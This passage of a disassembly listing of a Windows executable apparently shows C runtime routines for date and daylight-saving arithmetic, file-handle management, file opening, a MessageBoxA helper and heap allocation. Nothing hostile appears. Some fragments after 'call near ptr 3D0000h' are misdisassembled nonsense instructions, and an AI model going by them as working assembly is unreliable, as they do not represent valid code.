		call	sub_418F8C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_418F8C
		add	esp, 58h


loc_418F14:				; CODE XREF: sub_418DE0+2Cj
					; sub_418DE0+F0j
		mov	edx, ds:dword_42EBDC
		mov	eax, ds:dword_42EBEC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_418F44
		cmp	ecx, edx
		jl	loc_418DED
		cmp	ecx, eax
		jg	loc_418DED
		cmp	ecx, edx
		jle	short loc_418F58
		cmp	ecx, eax
		jge	short loc_418F58


loc_418F3E:				; CODE XREF: sub_418DE0+166j
					; sub_418DE0+16Aj
		mov	eax, ebx


loc_418F40:				; CODE XREF: sub_418DE0+Fj
					; sub_418DE0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418F44:				; CODE XREF: sub_418DE0+144j
		cmp	ecx, eax
		jl	short loc_418F3E
		cmp	ecx, edx
		jg	short loc_418F3E
		cmp	ecx, eax
		jle	short loc_418F58
		cmp	ecx, edx
		jl	loc_418DED


loc_418F58:				; CODE XREF: sub_418DE0+158j
					; sub_418DE0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_418F7F
		xor	ecx, ecx
		cmp	eax, ds:dword_42EBE0
		setnl	cl


loc_418F7B:				; CODE XREF: sub_418DE0+1AAj
		mov	eax, ecx
		jmp	short loc_418F40
; ---------------------------------------------------------------------------


loc_418F7F:				; CODE XREF: sub_418DE0+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_42EBF0
		setl	cl
		jmp	short loc_418F7B
sub_418DE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F8C	proc near		; CODE XREF: sub_418DE0+99p
					; sub_418DE0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_419027
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_418FB7
		shl	esi, 2
		mov	eax, ds:dword_42EBF0[esi]
		jmp	short loc_418FC0
; ---------------------------------------------------------------------------


loc_418FB7:				; CODE XREF: sub_418F8C+1Ej
		shl	esi, 2
		mov	eax, ds:dword_42EC24[esi]


loc_418FC0:				; CODE XREF: sub_418F8C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_418FFA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_419004
; ---------------------------------------------------------------------------


loc_418FFA:				; CODE XREF: sub_418F8C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_419004:				; CODE XREF: sub_418F8C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_419042
		cmp	[ebp+arg_8], 0
		jnz	short loc_419018
		mov	esi, ds:dword_42EBF4[esi]
		jmp	short loc_41901E
; ---------------------------------------------------------------------------


loc_419018:				; CODE XREF: sub_418F8C+82j
		mov	esi, ds:dword_42EC28[esi]


loc_41901E:				; CODE XREF: sub_418F8C+8Aj
		cmp	ecx, esi
		jle	short loc_419042
		sub	ecx, 7
		jmp	short loc_419042
; ---------------------------------------------------------------------------


loc_419027:				; CODE XREF: sub_418F8C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_419038
		mov	ecx, ds:dword_42EBF0[eax*4]
		jmp	short loc_41903F
; ---------------------------------------------------------------------------


loc_419038:				; CODE XREF: sub_418F8C+A1j
		mov	ecx, ds:dword_42EC24[eax*4]


loc_41903F:				; CODE XREF: sub_418F8C+AAj
		add	ecx, [ebp+arg_18]


loc_419042:				; CODE XREF: sub_418F8C+7Cj
					; sub_418F8C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_419073
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_42EBDC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_42EBD8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_42EBE0, eax
		jmp	short loc_4190C8
; ---------------------------------------------------------------------------


loc_419073:				; CODE XREF: sub_418F8C+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_42EBEC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_42EB48
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_42EBF0, eax
		jns	short loc_4190AB
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_42EBF0, eax
		jmp	short loc_4190BC
; ---------------------------------------------------------------------------


loc_4190AB:				; CODE XREF: sub_418F8C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_4190C2
		sub	eax, edx
		inc	ecx
		mov	ds:dword_42EBF0, eax


loc_4190BC:				; CODE XREF: sub_418F8C+11Dj
		mov	ds:dword_42EBEC, ecx


loc_4190C2:				; CODE XREF: sub_418F8C+126j
		mov	ds:dword_42EBE8, ebx


loc_4190C8:				; CODE XREF: sub_418F8C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418F8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190CC	proc near		; CODE XREF: sub_4192E6:loc_41945Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_460B60


loc_4190DB:				; CODE XREF: sub_4190CC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_419118
		lea	edx, [eax+100h]


loc_4190E7:				; CODE XREF: sub_4190CC+28j
		cmp	eax, edx
		jnb	short loc_419107
		test	byte ptr [eax+4], 1
		jz	short loc_4190F6
		add	eax, 8
		jmp	short loc_4190E7
; ---------------------------------------------------------------------------


loc_4190F6:				; CODE XREF: sub_4190CC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41915B


loc_419107:				; CODE XREF: sub_4190CC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_460C60
		jl	short loc_4190DB
		jmp	short loc_41915B
; ---------------------------------------------------------------------------


loc_419118:				; CODE XREF: sub_4190CC+13j
		mov	esi, 100h
		push	esi
		call	sub_410C0F
		test	eax, eax
		pop	ecx
		jz	short loc_41915B
		add	ds:dword_460C60, 20h
		lea	ecx, ds:460B60h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41913E:				; CODE XREF: sub_4190CC+88j
		cmp	eax, edx
		jnb	short loc_419156
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41913E
; ---------------------------------------------------------------------------


loc_419156:				; CODE XREF: sub_4190CC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41915B:				; CODE XREF: sub_4190CC+39j
					; sub_4190CC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4190CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_419161	proc near		; CODE XREF: sub_4192E6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_460C60
		push	edi
		jnb	short loc_4191C1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:460B60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_4191C1
		cmp	ds:dword_42E184, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short near ptr loc_4191B6+1
		sub	eax, 0
		jz	short loc_4191AE
		dec	eax
		jz	short loc_4191A9
		dec	eax
		jnz	short near ptr loc_4191B6+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_4191B1
; ---------------------------------------------------------------------------


loc_4191A9:				; CODE XREF: sub_419161+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_4191B1
; ---------------------------------------------------------------------------


loc_4191AE:				; CODE XREF: sub_419161+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_4191B1:				; CODE XREF: sub_419161+46j
					; sub_419161+4Bj
		call	near ptr 3D0000h


loc_4191B6:				; CODE XREF: sub_419161+36j
					; sub_419161+41j
		or	byte ptr [ebx+301C8907h], 33h
		rcr	byte ptr [ebx-15h], 14h


loc_4191C1:				; CODE XREF: sub_419161+Cj
					; sub_419161+28j
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		retn
sub_419161	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191D8	proc near		; CODE XREF: sub_416300+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, ds:dword_460C60
		push	edi
		jnb	short loc_41923B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:460B60h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41923B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41923B
		cmp	ds:dword_42E184, 1
		jnz	short near ptr loc_419230+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_419228
		dec	ecx
		jz	short loc_419223
		dec	ecx
		jnz	short near ptr loc_419230+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41922B
; ---------------------------------------------------------------------------


loc_419223:				; CODE XREF: sub_4191D8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41922B
; ---------------------------------------------------------------------------


loc_419228:				; CODE XREF: sub_4191D8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41922B:				; CODE XREF: sub_4191D8+49j
					; sub_4191D8+4Ej
		call	near ptr 3D0000h


loc_419230:				; CODE XREF: sub_4191D8+38j
					; sub_4191D8+44j
		xchg	cl, [ebx+300C8307h]
		push	dword ptr [ebx]
		shr	bl, 14h


loc_41923B:				; CODE XREF: sub_4191D8+Cj
					; sub_4191D8+2Aj ...
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		retn
sub_4191D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419252	proc near		; CODE XREF: sub_416300+32p
					; sub_416300+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_460C60
		jnb	short loc_41927A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_460B60[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41927A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41927A:				; CODE XREF: sub_419252+Aj
					; sub_419252+23j
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9
		or	eax, 0FFFFFFFFh
		retn
sub_419252	endp


; =============== S U B	R O U T	I N E =======================================



sub_41928F	proc near		; CODE XREF: sub_4163DE+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_460C60
		jnb	short loc_4192D8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_460B60[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_4192D8
		push	eax
		call	sub_419252
		pop	ecx
		push	eax
		call	near ptr 3D0000h
		mov	al, [ebp-0F78A40h]
		adc	eax, offset dword_41C068
		jmp	short loc_4192CF
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4192CF:				; CODE XREF: sub_41928F+3Cj
		test	eax, eax
		jz	short locret_4192E5
		mov	ds:dword_45F848, eax


loc_4192D8:				; CODE XREF: sub_41928F+Aj
					; sub_41928F+22j
		mov	ds:dword_45F844, 9
		or	eax, 0FFFFFFFFh

locret_4192E5:				; CODE XREF: sub_41928F+42j
		retn
sub_41928F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E6	proc near		; CODE XREF: sub_4167BA+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41930C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_419317
; ---------------------------------------------------------------------------


loc_41930C:				; CODE XREF: sub_4192E6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_419317:				; CODE XREF: sub_4192E6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_419331
		test	ch, 40h
		jnz	short loc_41932D
		cmp	ds:dword_45FB28, eax
		jz	short loc_419331


loc_41932D:				; CODE XREF: sub_4192E6+3Dj
		or	[ebp+var_1], 80h


loc_419331:				; CODE XREF: sub_4192E6+38j
					; sub_4192E6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_419369
		dec	eax
		jz	short loc_419360
		dec	eax
		jz	short loc_419357


loc_419342:				; CODE XREF: sub_4192E6+9Fj
					; sub_4192E6+E8j ...
		mov	ds:dword_45F844, 16h
		mov	ds:dword_45F848, ebx
		jmp	loc_41957C
; ---------------------------------------------------------------------------


loc_419357:				; CODE XREF: sub_4192E6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_419370
; ---------------------------------------------------------------------------


loc_419360:				; CODE XREF: sub_4192E6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_419370
; ---------------------------------------------------------------------------


loc_419369:				; CODE XREF: sub_4192E6+54j
		mov	[ebp+var_C], 80000000h


loc_419370:				; CODE XREF: sub_4192E6+78j
					; sub_4192E6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41939E
		cmp	eax, 20h
		jz	short loc_419395
		cmp	eax, 30h
		jz	short loc_41938C
		cmp	eax, 40h
		jnz	short loc_419342
		mov	[ebp+var_10], esi
		jmp	short loc_4193A1
; ---------------------------------------------------------------------------


loc_41938C:				; CODE XREF: sub_4192E6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4193A1
; ---------------------------------------------------------------------------


loc_419395:				; CODE XREF: sub_4192E6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4193A1
; ---------------------------------------------------------------------------


loc_41939E:				; CODE XREF: sub_4192E6+90j
		mov	[ebp+var_10], ebx


loc_4193A1:				; CODE XREF: sub_4192E6+A4j
					; sub_4192E6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_4193EB
		jz	short loc_4193E6
		cmp	ecx, ebx
		jz	short loc_4193E6
		cmp	ecx, edi
		jz	short loc_4193DD
		cmp	ecx, 200h
		jz	short loc_419404
		cmp	ecx, 300h
		jnz	loc_419342
		mov	[ebp+var_8], 2
		jmp	short loc_419414
; ---------------------------------------------------------------------------


loc_4193DD:				; CODE XREF: sub_4192E6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_419414
; ---------------------------------------------------------------------------


loc_4193E6:				; CODE XREF: sub_4192E6+D0j
					; sub_4192E6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_419414
; ---------------------------------------------------------------------------


loc_4193EB:				; CODE XREF: sub_4192E6+CEj
		cmp	ecx, 500h
		jz	short loc_41940D
		cmp	ecx, 600h
		jz	short loc_419404
		cmp	ecx, edx
		jz	short loc_41940D
		jmp	loc_419342
; ---------------------------------------------------------------------------


loc_419404:				; CODE XREF: sub_4192E6+E0j
					; sub_4192E6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_419414
; ---------------------------------------------------------------------------


loc_41940D:				; CODE XREF: sub_4192E6+10Bj
					; sub_4192E6+117j
		mov	[ebp+var_8], 1


loc_419414:				; CODE XREF: sub_4192E6+F5j
					; sub_4192E6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_419433
		mov	ecx, ds:dword_45F84C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_419433
		push	1
		pop	esi


loc_419433:				; CODE XREF: sub_4192E6+138j
					; sub_4192E6+148j
		test	al, 40h
		jz	short loc_419441
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_419441:				; CODE XREF: sub_4192E6+14Fj
		test	ah, 10h
		jz	short loc_419448
		or	esi, edi


loc_419448:				; CODE XREF: sub_4192E6+15Ej
		test	al, 20h
		jz	short loc_419454
		or	esi, 8000000h
		jmp	short loc_41945E
; ---------------------------------------------------------------------------


loc_419454:				; CODE XREF: sub_4192E6+164j
		test	al, 10h
		jz	short loc_41945E
		or	esi, 10000000h


loc_41945E:				; CODE XREF: sub_4192E6+16Cj
					; sub_4192E6+170j
		call	sub_4190CC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41947F
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 18h
		jmp	short loc_4194BD
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_4192E6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_41C078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4194B0
		push	esi
		call	near ptr 3D0000h
		scasd
		test	eax, eax
		jnz	short loc_4194C4
		push	esi
		call	ds:dword_41C070	; CloseHandle


loc_4194B0:				; CODE XREF: sub_4192E6+1B6j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		call	sub_41724D
		pop	ecx


loc_4194BD:				; CODE XREF: sub_4192E6+197j
		mov	eax, edi
		jmp	loc_41959A
; ---------------------------------------------------------------------------


loc_4194C4:				; CODE XREF: sub_4192E6+1C1j
		cmp	eax, 2
		jnz	short loc_4194CF
		or	[ebp+var_1], 40h
		jmp	short loc_4194D8
; ---------------------------------------------------------------------------


loc_4194CF:				; CODE XREF: sub_4192E6+1E1j
		cmp	eax, 3
		jnz	short loc_4194D8
		or	[ebp+var_1], 8


loc_4194D8:				; CODE XREF: sub_4192E6+1E7j
					; sub_4192E6+1ECj
		push	esi
		push	ebx
		call	sub_419161
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:460B60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_419581
		test	al, 80h
		jz	short loc_419581
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_419581
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_4169A2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_419536
		cmp	ds:dword_45F848, 83h
		jz	short loc_419581
		jmp	short loc_419575
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_4192E6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_4165C4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419563
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_419563
		push	[ebp+var_10]
		push	ebx
		call	loc_41A233
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419575


loc_419563:				; CODE XREF: sub_4192E6+265j
					; sub_4192E6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_4169A2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419581


loc_419575:				; CODE XREF: sub_4192E6+24Ej
					; sub_4192E6+27Bj
		push	ebx
		call	sub_416300
		pop	ecx


loc_41957C:				; CODE XREF: sub_4192E6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41959A
; ---------------------------------------------------------------------------


loc_419581:				; CODE XREF: sub_4192E6+221j
					; sub_4192E6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_419598
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_419598
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_419598:				; CODE XREF: sub_4192E6+29Fj
					; sub_4192E6+2A5j
		mov	eax, ebx


loc_41959A:				; CODE XREF: sub_4192E6+1D9j
					; sub_4192E6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41959F	proc near		; CODE XREF: seg000:0041752Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_4195B0
		add	esp, 0Ch
		retn
sub_41959F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195B0	proc near		; CODE XREF: sub_41959F+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_460D81[eax], cl
		jnz	short loc_4195DD
		cmp	[esp+arg_4], 0
		jz	short loc_4195D6
		movzx	eax, ds:word_42E19A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_4195D8
; ---------------------------------------------------------------------------


loc_4195D6:				; CODE XREF: sub_4195B0+16j
		xor	eax, eax


loc_4195D8:				; CODE XREF: sub_4195B0+24j
		test	eax, eax
		jnz	short loc_4195DD
		retn
; ---------------------------------------------------------------------------


loc_4195DD:				; CODE XREF: sub_4195B0+Fj
					; sub_4195B0+2Aj
		push	1
		pop	eax
		retn
sub_4195B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195E1	proc near		; CODE XREF: sub_417C59+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_45FB08, ebx
		push	esi
		push	edi
		jnz	short loc_419630
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41C0AC	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_419666
		mov	esi, ds:dword_41C0B0
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	ds:dword_45FB08, eax
		jz	short loc_419666
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_45FB0C, eax
		call	esi
		mov	ds:dword_45FB10, eax


loc_419630:				; CODE XREF: sub_4195E1+Bj
		mov	eax, ds:dword_45FB0C
		test	eax, eax
		jz	short loc_41964F
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41964F
		mov	eax, ds:dword_45FB10
		test	eax, eax
		jz	short loc_41964F
		push	ebx
		call	eax
		mov	ebx, eax


loc_41964F:				; CODE XREF: sub_4195E1+56j
					; sub_4195E1+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_45FB08


loc_419662:				; CODE XREF: sub_4195E1+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419666:				; CODE XREF: sub_4195E1+1Cj
					; sub_4195E1+33j
		xor	eax, eax
		jmp	short loc_419662
sub_4195E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41966A	proc near		; CODE XREF: seg000:00417FE5p
					; seg000:00417FFEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41968A
		test	esi, esi
		jnz	short loc_419684
		push	1
		pop	esi


loc_419684:				; CODE XREF: sub_41966A+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41968A:				; CODE XREF: sub_41966A+11j
					; sub_41966A+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196BB
		cmp	ebx, ds:dword_42E3AC
		ja	short loc_4196A6
		push	ebx
		call	sub_4138A6
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4196D1


loc_4196A6:				; CODE XREF: sub_41966A+2Dj
		push	esi
		push	8
		push	ds:dword_460EA0
		call	ds:dword_41C134	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4196DD


loc_4196BB:				; CODE XREF: sub_41966A+25j
		cmp	ds:dword_45F89C, 0
		jz	short loc_4196DD
		push	esi
		call	sub_4134BB
		test	eax, eax
		pop	ecx
		jz	short loc_4196E3
		jmp	short loc_41968A
; ---------------------------------------------------------------------------


loc_4196D1:				; CODE XREF: sub_41966A+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_410590
		add	esp, 0Ch


loc_4196DD:				; CODE XREF: sub_41966A+4Fj
					; sub_41966A+58j
		mov	eax, edi


loc_4196DF:				; CODE XREF: sub_41966A+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4196E3:				; CODE XREF: sub_41966A+63j
		xor	eax, eax
		jmp	short loc_4196DF
sub_41966A	endp

; ---------------------------------------------------------------------------


loc_4196E7:				; CODE XREF: seg000:00418076j
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_460B40, esi
		jle	short loc_41973A


loc_4196F6:				; CODE XREF: seg000:00419738j
		mov	eax, ds:dword_45FB34
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_419731
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_419715
		push	eax
		call	sub_4119F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419715
		inc	edi


loc_419715:				; CODE XREF: seg000:00419706j
					; seg000:00419712j
		cmp	esi, 14h
		jl	short loc_419731
		mov	eax, ds:dword_45FB34
		push	dword ptr [eax+esi*4]
		call	sub_410C83
		mov	eax, ds:dword_45FB34
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_419731:				; CODE XREF: seg000:00419700j
					; seg000:00419718j
		inc	esi
		cmp	esi, ds:dword_460B40
		jl	short loc_4196F6


loc_41973A:				; CODE XREF: seg000:004196F4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41973F	proc near		; CODE XREF: sub_4183DF+2Bp
					; sub_4183DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_419755
		cmp	ecx, esi
		jnb	short loc_419758


loc_419755:				; CODE XREF: sub_41973F+10j
		push	1
		pop	eax


loc_419758:				; CODE XREF: sub_41973F+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41973F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419760	proc near		; CODE XREF: sub_419819+40p
					; sub_419819+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41973F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_419792
		lea	eax, [esi+4]
		push	eax
